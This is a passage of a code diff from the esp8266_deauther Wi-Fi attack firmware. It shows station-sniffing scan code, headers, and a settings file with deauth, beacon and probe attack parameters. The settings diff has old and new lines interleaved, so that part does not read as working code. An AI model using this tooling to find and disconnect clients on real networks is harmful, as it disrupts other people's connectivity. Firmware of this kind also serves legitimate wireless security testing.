if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
// only allow data frames
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
uint8_t* macTo = &buf[16];
uint8_t* macFrom = &buf[22];
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return;
int16_t accesspointNum = findAccesspoint(macFrom);
if (accesspointNum >= 0) {
stations.add(macTo, accesspointNum);
} else {
accesspointNum = findAccesspoint(macTo);
if (accesspointNum >= 0) {
stations.add(macFrom, accesspointNum);
}
}
}
int Scan::findAccesspoint(uint8_t* mac) {
for (int i = 0; i < accesspoints.count(); i++) {
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
}
return -1;
}
void Scan::start(uint8_t mode) {
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
}
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) {
if(mode != SCAN_MODE_OFF) stop();
setWifiChannel(channel);
Scan::continueStartTime = currentTime;
Scan::snifferPacketTime = continueStartTime;
Scan::snifferOutputTime = continueStartTime;
Scan::continueTime = continueTime;
Scan::sniffTime = time;
Scan::channelHop = channelHop;
Scan::scanMode = mode;
Scan::scan_continue_mode = nextmode;
if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000;
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel);
/* AP Scan */
if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) {
// remove old results
accesspoints.removeAll();
stations.removeAll();
// start AP scan
prntln(SC_START_AP);
WiFi.scanNetworks(true, true);
}
/* Station Scan */
else if (mode == SCAN_MODE_STATIONS) {
// start station scan
if (accesspoints.count() < 1) {
start(SCAN_MODE_ALL);
//Serial.println(str(SC_ERROR_NO_AP));
return;
}
snifferStartTime = currentTime;
prnt(SC_START_CLIENT);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
if(!channelHop){
prnt(SC_ON_CHANNEL);
prnt(wifi_channel);
}
prntln();
// enable sniffer
stopAP();
wifi_promiscuous_enable(true);
}
else if (mode == SCAN_MODE_SNIFFER) {
deauths = tmpDeauths;
tmpDeauths = 0;
snifferStartTime = currentTime;
prnt(SS_START_SNIFFER);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
prnt(SC_ON_CHANNEL);
prntln(channelHop ? str(SC_ONE_TO) +(String)settings.getMaxCh() : (String)wifi_channel);
// enable sniffer
stopAP();
wifi_promiscuous_enable(true);
}
/* Stop scan */
else if (mode == SCAN_MODE_OFF) {
wifi_promiscuous_enable(false);
if(settings.getWebInterface()) resumeAP();
prntln(SC_STOPPED);
save(true);
if (scan_continue_mode != SCAN_MODE_OFF) {
prnt(SC_RESTART);
prnt(int(continueTime / 1000));
prntln(SC_CONTINUE);
}
}
/* ERROR */
else {
prnt(SC_ERROR_MODE);
prntln(mode);
return;
}
}
void Scan::update() {
if (scanMode == SCAN_MODE_OFF) {
// restart scan if it is continuous
if (scan_continue_mode != SCAN_MODE_OFF) {
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
}
return;
}
// sniffer
if(isSniffing()){
// update packet list every 1s
if(currentTime - snifferPacketTime > 1000){
snifferPacketTime = currentTime;
list->add(packets);
if(list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
deauths = tmpDeauths;
tmpDeauths = 0;
packets = 0;
}
// print status every 3s
if (currentTime - snifferOutputTime > 3000) {
char s[100];
if(sniffTime > 0){
sprintf(s,str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
} else{
sprintf(s,str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
}
prnt(String(s));
snifferOutputTime = currentTime;
}
// channel hopping
if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) {
snifferChannelTime = currentTime;
if(scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
else setChannel(wifi_channel + 1); // go to next channel
}
}
// APs
if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) {
int16_t results = WiFi.scanComplete();
if (results >= 0) {
for (int16_t i = 0; i < results && i < 256; i++) {
if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false);
}
accesspoints.sort();
accesspoints.printAll();
if (scanMode == SCAN_MODE_ALL){
delay(30);
start(SCAN_MODE_STATIONS);
}
else start(SCAN_MODE_OFF);
}
}
// Stations
else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) {
wifi_promiscuous_enable(false);
if(scanMode == SCAN_MODE_STATIONS){
stations.sort();
stations.printAll();
}
start(SCAN_MODE_OFF);
}
}
void Scan::setup(){
save(true);
}
void Scan::stop() {
scan_continue_mode = SCAN_MODE_OFF;
start(SCAN_MODE_OFF);
}
void Scan::setChannel(uint8_t ch) {
if (ch > settings.getMaxCh()) ch = 1;
else if (ch < 1) ch = settings.getMaxCh();
wifi_promiscuous_enable(0);
setWifiChannel(ch);
wifi_promiscuous_enable(1);
}
void Scan::nextChannel() {
if (accesspoints.count() > 1) {
uint8_t ch = wifi_channel;
do {
ch++;
if (ch > settings.getMaxCh()) ch = 1;
} while (!apWithChannel(ch));
setChannel(ch);
}
}
bool Scan::apWithChannel(uint8_t ch) {
for (int i = 0; i < accesspoints.count(); i++)
if (accesspoints.getCh(i) == ch) return true;
return false;
}
void Scan::save(bool force, String filePath){
String tmp = FILE_PATH;
FILE_PATH = filePath;
save(true);
FILE_PATH = tmp;
}
void Scan::save(bool force) {
if(!(accesspoints.changed || stations.changed) && !force) return;
// Accesspoints
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
if(!writeFile(FILE_PATH, buf)) { // overwrite old file
prnt(SC_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
uint32_t apCount = accesspoints.count();
for (int i = 0; i < apCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid",
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < apCount - 1) buf += String(COMMA); // ,
if(buf.length() >= 1024){
if(!appendFile(FILE_PATH, buf)) {
prnt(SC_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
// Stations
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
uint32_t stationCount = stations.count();
for (int i = 0; i < stationCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(stations.getCh(i)) + String(COMMA); // 1,
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
buf += String(stations.getAP(i)) + String(COMMA); // 0,
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < stationCount - 1) buf += String(COMMA); // ,
if(buf.length() >= 1024){
if(!appendFile(FILE_PATH, buf)) {
prnt(SC_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if(!appendFile(FILE_PATH, buf)) {
prnt(SC_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
accesspoints.changed = false;
stations.changed = false;
prnt(SC_SAVED_IN);
prntln(FILE_PATH);
}
uint32_t Scan::countSelected() {
return (accesspoints.selected() + stations.selected() + names.selected());
}
uint32_t Scan::countAll() {
return (accesspoints.count() + stations.count() + names.count());
}
bool Scan::isScanning() {
return scanMode != SCAN_MODE_OFF;
}
bool Scan::isSniffing() {
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
}
uint8_t Scan::getPercentage(){
if(!isSniffing()) return 0;
return (currentTime - snifferStartTime) / (sniffTime / 100);
}
void Scan::selectAll() {
accesspoints.selectAll();
stations.selectAll();
names.selectAll();
}
void Scan::deselectAll() {
accesspoints.deselectAll();
stations.deselectAll();
names.deselectAll();
}
void Scan::printAll() {
accesspoints.printAll();
stations.printAll();
names.printAll();
ssids.printAll();
}
void Scan::printSelected() {
accesspoints.printSelected();
stations.printSelected();
names.printSelected();
}
uint32_t Scan::getPackets(int i){
if(list->size() < SCAN_PACKET_LIST_SIZE){
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
if(i >= translatedNum) return list->get(i-translatedNum);
return 0;
} else {
return list->get(i);
}
}
double Scan::getScaleFactor(uint8_t height){
return (double)height/(double)getMaxPacket();
}
uint32_t Scan::getMaxPacket(){
uint16_t max = 0;
for(uint8_t i=0;i<list->size();i++){
if(list->get(i) > max) max = list->get(i);
}
return max;
}
uint32_t Scan::getPacketRate(){
return list->get(list->size()-1);
}

98
esp8266_deauther/Scan.h Normal file
View File

@ -0,0 +1,98 @@
#ifndef Scan_h
#define Scan_h
#include "Arduino.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "Names.h"
#include "SSIDs.h"
#include "Settings.h"
#include "language.h"
#define SCAN_MODE_OFF 0
#define SCAN_MODE_APS 1
#define SCAN_MODE_STATIONS 2
#define SCAN_MODE_ALL 3
#define SCAN_MODE_SNIFFER 4
#define SCAN_DEFAULT_TIME 15000
#define SCAN_DEFAULT_CONTINUE_TIME 10000
#define SCAN_PACKET_LIST_SIZE 64
extern Accesspoints accesspoints;
extern Stations stations;
extern Names names;
extern SSIDs ssids;
extern Settings settings;
extern uint8_t wifiMode;
extern void setWifiChannel(uint8_t ch);
extern bool appendFile(String path, String &buf);
extern bool writeFile(String path, String &buf);
extern void readFileToSerial(const String path);
extern void resumeAP();
extern void stopAP();
extern String escape(String str);
class Scan {
public:
Scan();
void sniffer(uint8_t* buf, uint16_t len);
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
void start(uint8_t mode);
void setup();
void update();
void stop();
void save(bool force);
void save(bool force, String filePath);
void selectAll();
void deselectAll();
void printAll();
void printSelected();
uint8_t getPercentage();
uint32_t getPackets(int i);
uint32_t countAll();
uint32_t countSelected();
bool isScanning();
bool isSniffing();
void nextChannel();
void setChannel(uint8_t newChannel);
double getScaleFactor(uint8_t height);
uint32_t getMaxPacket();
uint32_t getPacketRate();
uint16_t deauths = 0;
uint16_t packets = 0;
private:
LinkedList<uint16_t>* list; // packet list
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
uint32_t snifferStartTime = 0; // when the scan started
uint32_t snifferOutputTime = 0; // last info output (every 3s)
uint32_t snifferChannelTime = 0; // last time the channel was changed
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
uint8_t scanMode = 0;
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
uint32_t continueStartTime = 0; // when scan restarted
bool channelHop = true;
uint16_t tmpDeauths = 0;
bool apWithChannel(uint8_t ch);
int findAccesspoint(uint8_t* mac);
String FILE_PATH = "/scan.json";
};
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,102 @@
#ifndef SerialInterface_h
#define SerialInterface_h
#include "Arduino.h"
#include "pgmspace.h"
#include <ESP8266WiFi.h>
#include <FS.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "DisplayUI.h"
#include "DigitalLed.h"
#include "RGBLed.h"
#include "Neopixel.h"
#include "A_config.h"
#ifdef DIGITAL_LED
extern DigitalLed led;
#endif
#ifdef RGB_LED
extern RGBLed led;
#endif
#ifdef NEOPIXEL_LED
extern Neopixel led;
#endif
extern Settings settings;
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern DisplayUI displayUI;
extern uint32_t currentTime;
extern uint32_t autosaveTime;
extern String macToStr(uint8_t* mac);
extern void strToColor(String str, uint8_t* buf);
extern void readFileToSerial(String path, bool showLineNum);
extern bool removeFile(String path);
extern bool copyFile(String pathFrom, String pathTo);
extern bool renameFile(String pathFrom, String pathTo);
extern bool appendFile(String path, String &buf);
extern bool removeLines(String path, int lineFrom, int lineTo);
extern bool replaceLine(String path, int line, String &buf);
extern bool equalsKeyword(const char* str, const char* keyword);
extern void printWifiStatus();
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
extern void wifiUpdate();
class SerialInterface {
public:
SerialInterface();
void enable();
void load();
void load(String filepath);
void disable();
void update();
void stopScript();
void runCommands(String input);
void runCommand(String input);
void error(String message);
void parameterError(String parameter);
private:
bool enabled;
LinkedList<String>* list;
bool executing = false;
bool continuously = false;
uint32_t continueTime = 0;
uint32_t loopTime = 0;
String execPath = "/autostart.txt";
struct Keyword{
const char* name;
const char* shortName;
const char* alt;
};
bool isInt(String str);
int toInt(String str);
uint32_t getTime(String time);
bool eqlsCMD(int i, const char* keyword);
};
#endif

View File

@ -1,247 +1,574 @@
#include "Settings.h"
Settings::Settings() {
uint8_t tempMAC[6];
defaultMacAP.set(WiFi.softAPmacAddress(tempMAC));
if(!defaultMacAP.valid()) defaultMacAP.randomize();
}
void Settings::syncMacInterface(){
if(debug) Serial.println("Trying to sync the MAC addr with settings");
if(isSettingsLoaded){
Mac macToSync;
if(isMacAPRand){
macToSync.randomize();
wifi_set_macaddr(SOFTAP_IF, macToSync._get());
if(debug) Serial.println("Synced with a random mac addr : " + macToSync.toString());
}else if(macAP.valid()){
macToSync = macAP;
wifi_set_macaddr(SOFTAP_IF, macToSync._get());
if(debug) Serial.println("Synced with saved mac addr : " + macToSync.toString());
}else{
if(debug) Serial.println("Could not sync because of invalid settings !");
}
}else{
if(debug) Serial.println("Could not sync because settings are not loaded !");
}
}
void Settings::setLedPin(int newLedPin){
prevLedPin = ledPin;
if(newLedPin > 0 && newLedPin != prevLedPin){
ledPin = newLedPin;
pinMode(ledPin, OUTPUT);
if(!prevLedPin == 0){
digitalWrite(ledPin, digitalRead(prevLedPin));
digitalWrite(prevLedPin, pinStateOff);
pinMode(prevLedPin, INPUT);
}else{
digitalWrite(ledPin, pinStateOff);
}
}
macSt = (uint8_t*)malloc(6);
macAP = (uint8_t*)malloc(6);
}
void Settings::load() {
DynamicJsonBuffer jsonBuffer(4000);
if (EEPROM.read(checkNumAdr) != checkNum) {
reset();
return;
// check & read file
String json = getJsonStr();
checkFile(FILE_PATH, json);
JsonObject &data = parseJSONFile(FILE_PATH, jsonBuffer);
// VERSION
version = data.get<String>("version");
// AP
if(data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
if(data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
if(data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
if(data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
if(data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
// GENERAL
if(data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
if(data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
if(data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
if(data.containsKey(keyword(S_SERIALINTERFACE))) setSerialInterface(data.get<bool>(keyword(S_SERIALINTERFACE)));
if(data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
if(data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
if(data.containsKey(keyword(S_MAXCH))) setMaxCh(data.get<uint8_t>(keyword(S_MAXCH)));
if(data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
if(data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
// SCAN
if(data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
if(data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
// ATTACK
if(data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
if(data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
if(data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(S_DEAUTHSPERTARGET)));
if(data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
if(data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
if(data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
if(data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
if(data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
if (version != VERSION){
//reset();
version = VERSION;
changed = true;
}
ssidLen = EEPROM.read(ssidLenAdr);
passwordLen = EEPROM.read(passwordLenAdr);
prnt(S_SETTINGS_LOADED);
prntln(FILE_PATH);
if (ssidLen < 1 || ssidLen > 32 || passwordLen < 8 && passwordLen != 0 || passwordLen > 32) {
reset();
return;
}
save(true); // force saving
}
ssid = "";
password = "";
for (int i = 0; i < ssidLen; i++) ssid += (char)EEPROM.read(ssidAdr + i);
for (int i = 0; i < passwordLen; i++) password += (char)EEPROM.read(passwordAdr + i);
ssidHidden = (bool)EEPROM.read(ssidHiddenAdr);
if ((int)EEPROM.read(apChannelAdr) >= 1 && (int)EEPROM.read(apChannelAdr) <= 14) {
apChannel = (int)EEPROM.read(apChannelAdr);
} else {
apChannel = 1;
}
for(int i=0; i<6; i++){
macAP.setAt((uint8_t)EEPROM.read(macAPAdr+i),i);
}
if(!macAP.valid()) macAP.set(defaultMacAP);
isMacAPRand = (bool)EEPROM.read(isMacAPRandAdr);
apScanHidden = (bool)EEPROM.read(apScanHiddenAdr);
deauthReason = EEPROM.read(deauthReasonAdr);
attackTimeout = eepromReadInt(attackTimeoutAdr);
attackPacketRate = EEPROM.read(attackPacketRateAdr);
clientScanTime = EEPROM.read(clientScanTimeAdr);
useLed = (bool)EEPROM.read(useLedAdr);
channelHop = (bool)EEPROM.read(channelHopAdr);
multiAPs = (bool)EEPROM.read(multiAPsAdr);
multiAttacks = (bool)EEPROM.read(multiAttacksAdr);
macInterval = eepromReadInt(macIntervalAdr);
beaconInterval = (bool)EEPROM.read(beaconIntervalAdr);
setLedPin((int)EEPROM.read(ledPinAdr));
isSettingsLoaded = 1;
void Settings::load(String filepath){
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void Settings::reset() {
if (debug) Serial.print("reset settings...");
// VERSION
version = VERSION;
// AP
setSSID("pwned");
setPassword("deauther");
setChannel(1);
setHidden(false);
setCaptivePortal(true);
ssid = "pwned";
password = "deauther"; //must have at least 8 characters
ssidHidden = false;
apChannel = 1;
// GENERAL
setLang("en");
setAutosave(true);
setAutosaveTime(10000);
setDisplayInterface(USE_DISPLAY);
setDisplayTimeout(600);
setSerialInterface(true);
setWebInterface(true);
setLedEnabled(true);
setMaxCh(14);
wifi_get_macaddr(0x00, macSt);
wifi_get_macaddr(0x01, macAP);
ssidLen = ssid.length();
passwordLen = password.length();
macAP = defaultMacAP;
isMacAPRand = 0;
// SCAN
setChTime(384);
setMinDeauths(3);
// ATTACK
setAttackTimeout(600);
setForcePackets(3);
setDeauthsPerTarget(20);
setDeauthReason(1);
setBeaconChannel(false);
setBeaconInterval(false);
setRandomTX(false);
setProbesPerSSID(1);
apScanHidden = true;
deauthReason = 0x01;
attackTimeout = 5 * 60;
attackPacketRate = 10;
clientScanTime = 15;
useLed = true;
channelHop = false;
multiAPs = false;
multiAttacks = false;
macInterval = 4;
beaconInterval = false;
ledPin = 2;
if (debug) Serial.println("done");
save();
prntln(S_SETTINGS_RESETED);
}
void Settings::save() {
ssidLen = ssid.length();
passwordLen = password.length();
String Settings::getJsonStr() {
DynamicJsonBuffer jsonBuffer(4000);
JsonObject &data = jsonBuffer.createObject();
EEPROM.write(ssidLenAdr, ssidLen);
EEPROM.write(passwordLenAdr, passwordLen);
for (int i = 0; i < ssidLen; i++) EEPROM.write(ssidAdr + i, ssid[i]);
for (int i = 0; i < passwordLen; i++) EEPROM.write(passwordAdr + i, password[i]);
// Version
data.set("version", VERSION);
// AP
data.set(keyword(S_SSID), ssid);
data.set(keyword(S_PASSWORD), password);
data.set(keyword(S_CHANNEL), channel);
data.set(keyword(S_HIDDEN), hidden);
data.set(keyword(S_CAPTIVEPORTAL), captivePortal);
EEPROM.write(ssidHiddenAdr, ssidHidden);
EEPROM.write(apChannelAdr, apChannel);
// GENERAL
data.set(keyword(S_LANG), lang);
data.set(keyword(S_AUTOSAVE), autosave);
data.set(keyword(S_AUTOSAVETIME), autosaveTime);
data.set(keyword(S_DISPLAYINTERFACE), displayInterface);
data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout);
data.set(keyword(S_SERIALINTERFACE), serialInterface);
data.set(keyword(S_WEBINTERFACE), webInterface);
data.set(keyword(S_LEDENABLED), ledEnabled);
data.set(keyword(S_MAXCH), maxCh);
data.set(keyword(S_MACAP), macToStr(getMacAP()));
data.set(keyword(S_MACST), macToStr(getMacSt()));
EEPROM.write(isMacAPRandAdr, isMacAPRand);
// SCAN
data.set(keyword(S_CHTIME), chTime);
data.set(keyword(S_MIN_DEAUTHS), minDeauths);
// ATTACK
data.set(keyword(S_ATTACKTIMEOUT), attackTimeout);
data.set(keyword(S_FORCEPACKETS), forcePackets);
data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget);
data.set(keyword(S_DEAUTHREASON), deauthReason);
data.set(keyword(S_BEACONCHANNEL), beaconChannel);
data.set(keyword(S_BEACONINTERVAL), beaconInterval);
data.set(keyword(S_RANDOMTX), randomTX);
data.set(keyword(S_PROBESPERSSID), probesPerSSID);
String buf;
data.printTo(buf);
for(int i=0; i<6; i++){
EEPROM.write(macAPAdr+i, macAP._get(i));
}
return buf;
}
EEPROM.write(apScanHiddenAdr, apScanHidden);
EEPROM.write(deauthReasonAdr, deauthReason);
eepromWriteInt(attackTimeoutAdr, attackTimeout);
EEPROM.write(attackPacketRateAdr, attackPacketRate);
EEPROM.write(clientScanTimeAdr, clientScanTime);
EEPROM.write(useLedAdr, useLed);
EEPROM.write(channelHopAdr, channelHop);
EEPROM.write(multiAPsAdr, multiAPs);
EEPROM.write(multiAttacksAdr, multiAttacks);
EEPROM.write(checkNumAdr, checkNum);
eepromWriteInt(macIntervalAdr, macInterval);
EEPROM.write(beaconIntervalAdr, beaconInterval);
EEPROM.write(ledPinAdr, ledPin);
EEPROM.commit();
if (debug) {
info();
Serial.println("settings saved");
void Settings::save(bool force) {
if (force || changed) {
String buf = getJsonStr();
if(writeFile(FILE_PATH, buf)){
prnt(S_SETTINGS_SAVED);
prntln(FILE_PATH);
changed = false;
}else{
prnt(F("ERROR: saving "));
prntln(FILE_PATH);
}
}
}
void Settings::info() {
Serial.println("Settings:");
Serial.println("SSID: " + ssid);
Serial.println("SSID length: " + (String)ssidLen);
Serial.println("SSID hidden: " + (String)ssidHidden);
Serial.println("password: " + password);
Serial.println("password length: " + (String)passwordLen);
Serial.println("channel: " + (String)apChannel);
Serial.println("Default MAC AP: " + defaultMacAP.toString());
Serial.println("Saved MAC AP: " + macAP.toString());
Serial.println("MAC AP random: " + (String)isMacAPRand);
Serial.println("Scan hidden APs: " + (String)apScanHidden);
Serial.println("deauth reson: " + (String)(int)deauthReason);
Serial.println("attack timeout: " + (String)attackTimeout);
Serial.println("attack packet rate: " + (String)attackPacketRate);
Serial.println("client scan time: " + (String)clientScanTime);
Serial.println("use built-in LED: " + (String)useLed);
Serial.println("channel hopping: " + (String)channelHop);
Serial.println("multiple APs: " + (String)multiAPs);
Serial.println("multiple Attacks: " + (String)multiAttacks);
Serial.println("mac change interval: " + (String)macInterval);
Serial.println("1s beacon interval: " + (String)beaconInterval);
Serial.println("LED Pin: " + (String)ledPin);
void Settings::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
size_t Settings::getSize() {
String json = "{";
size_t jsonSize = 0;
json += "\"ssid\":\"" + ssid + "\",";
json += "\"ssidHidden\":" + (String)ssidHidden + ",";
json += "\"password\":\"" + password + "\",";
json += "\"apChannel\":" + (String)apChannel + ",";
json += "\"macAp\":\"" + macAP.toString() + "\",";
json += "\"randMacAp\":" + (String)isMacAPRand + ",";
json += "\"apScanHidden\":" + (String)apScanHidden + ",";
json += "\"deauthReason\":" + (String)(int)deauthReason + ",";
json += "\"attackTimeout\":" + (String)attackTimeout + ",";
json += "\"attackPacketRate\":" + (String)attackPacketRate + ",";
json += "\"clientScanTime\":" + (String)clientScanTime + ",";
json += "\"useLed\":" + (String)useLed + ",";
json += "\"channelHop\":" + (String)channelHop + ",";
json += "\"multiAPs\":" + (String)multiAPs + ",";
json += "\"multiAttacks\":" + (String)multiAttacks + ",";
json += "\"macInterval\":" + (String)macInterval + ",";
json += "\"beaconInterval\":" + (String)beaconInterval + ",";
json += "\"ledPin\":" + (String)ledPin + "}";
jsonSize += json.length();
return jsonSize;
void Settings::print() {
String settingsJson = getJsonStr();
settingsJson.replace("{", "{\r\n");
settingsJson.replace("}", "\r\n}");
settingsJson.replace(",", "\r\n");
prntln(S_SETTINGS_HEADER);
prntln(settingsJson);
}
void Settings::send() {
if (debug) Serial.println("getting settings json");
sendHeader(200, "text/json", getSize());
void Settings::set(const char* str, String value) {
// booleans
if (eqls(str,S_BEACONCHANNEL)) setBeaconChannel(eqls(value,STR_TRUE));
else if (eqls(str,S_AUTOSAVE)) setAutosave(eqls(value,STR_TRUE));
else if (eqls(str,S_BEACONINTERVAL)) setBeaconInterval(eqls(value,STR_TRUE));
else if (eqls(str,S_SERIALINTERFACE)) setSerialInterface(eqls(value,STR_TRUE));
else if (eqls(str,S_DISPLAYINTERFACE)) setDisplayInterface(eqls(value,STR_TRUE));
else if (eqls(str,S_WEBINTERFACE)) setWebInterface(eqls(value,STR_TRUE));
else if (eqls(str,S_RANDOMTX)) setRandomTX(eqls(value,STR_TRUE));
else if (eqls(str,S_LEDENABLED)) setLedEnabled(eqls(value,STR_TRUE));
else if (eqls(str,S_HIDDEN)) setHidden(eqls(value,STR_TRUE));
else if (eqls(str,S_CAPTIVEPORTAL)) setCaptivePortal(eqls(value,STR_TRUE));
String json = "{";
json += "\"ssid\":\"" + ssid + "\",";
json += "\"ssidHidden\":" + (String)ssidHidden + ",";
json += "\"password\":\"" + password + "\",";
json += "\"apChannel\":" + (String)apChannel + ",";
json += "\"macAp\":\"" + macAP.toString() + "\",";
json += "\"randMacAp\":" + (String)isMacAPRand + ",";
json += "\"apScanHidden\":" + (String)apScanHidden + ",";
json += "\"deauthReason\":" + (String)(int)deauthReason + ",";
json += "\"attackTimeout\":" + (String)attackTimeout + ",";
json += "\"attackPacketRate\":" + (String)attackPacketRate + ",";
json += "\"clientScanTime\":" + (String)clientScanTime + ",";
json += "\"useLed\":" + (String)useLed + ",";
json += "\"channelHop\":" + (String)channelHop + ",";
json += "\"multiAPs\":" + (String)multiAPs + ",";
json += "\"multiAttacks\":" + (String)multiAttacks + ",";
json += "\"macInterval\":" + (String)macInterval + ",";
json += "\"beaconInterval\":" + (String)beaconInterval + ",";
json += "\"ledPin\":" + (String)ledPin + "}";
sendToBuffer(json);
sendBuffer();
// integer
